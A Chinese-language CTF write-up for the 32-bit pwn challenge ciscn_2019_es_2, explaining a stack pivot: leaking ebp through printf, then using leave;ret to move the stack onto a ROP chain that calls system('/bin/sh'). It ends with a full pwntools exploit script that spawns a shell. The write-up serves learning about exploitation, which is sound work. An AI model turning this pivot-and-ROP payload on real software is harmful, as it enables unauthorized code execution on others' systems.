pwn-ciscn_2019_es_2(栈迁移)
这道题用来做栈迁移的例题真是再合适不过了
查看防护
main函数
存在hack函数，执行系统命令echo flag。没有binsh,需要自己写入
vuln函数
很明显是栈溢出，但是溢出的空间不足。read大小为0x30，s变量和ebp距离为0x28。只能覆盖ebp和ret。
因此使用栈迁移解决栈空间不足的问题。
把rop链写栈上，首先利用printf获取上个栈帧的ebp。printf遇到00就会截断，如果我们输入的内容正好把ebp前面的区域完全覆盖，
printf就会顺便把ebp带出来。
0x48-0x10等于s距ebp的偏移0x38
第二次read写入rop
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
直接看payload晦涩难懂，所以我附上调试过程
栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
leave=mov esp,ebp
pop ebp
ret=pop eip
红色箭头所指地址是执行leave之后的对应的ebp和esp
可以看到结果确实如此。这时可能你会注意到一个问题，那就是ebp地址比esp地址小。这其实无伤大雅，
因为我们最终目的是通过esp控制eip。ebp只是用来间接定位，
执行ret后的结果
eip发生了跳转
接下来执行的就是我们写入的leave_ret（用哪个函数里的leave_ret都行，我选择的是hack函数里的）
和前面的流程一样，我们直接看leave后的结果
非常amazing啊，esp指向了我们写入的system，接下来的ret就会使eip指向system函数。
现在我们回过头看payload，就不难理解前面padding的aaaa的作用了。ebp-0x38指向aaaa的地址。aaaa实际就是leave_ret后的ebp指向地址的内容，
可以起到定位的作用。因为接下来我们输入的leave_ret会使esp等于ebp后面的地址，
而此时ebp后面的地址是system。之后就能getshell了
顺便一提,接收printf返回的ebp前要先recv前面read输入的内容
exp:
1 #!/usr/bin/python 2 from pwn import * 3 4 #a=remote("node3.buuoj.cn",26501) 5 a=process("ciscn_2019_es_2") 6 context(arch='i386',os='linux',log_level='debug') 7 8 sys=0x8048400 9 leave_ret=0x08048562 10 11 a.recvuntil("Welcome, my friend. What's your name?") 12 payload='a'*0x20+'b'*8 13 a.send(payload) 14 a.recvuntil("bbbbbbbb") 15 ebp=u32(a.recv(4)) 16 print (hex(ebp)) 17 payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh" 18 payload2=payload2.ljust(0x28,'\x00') 19 payload2+=p32(ebp-0x38)+p32(leave_ret) 20 print (payload2) 21 #gdb.attach(a) 22 a.send(payload2) 23 24 a.interactive()
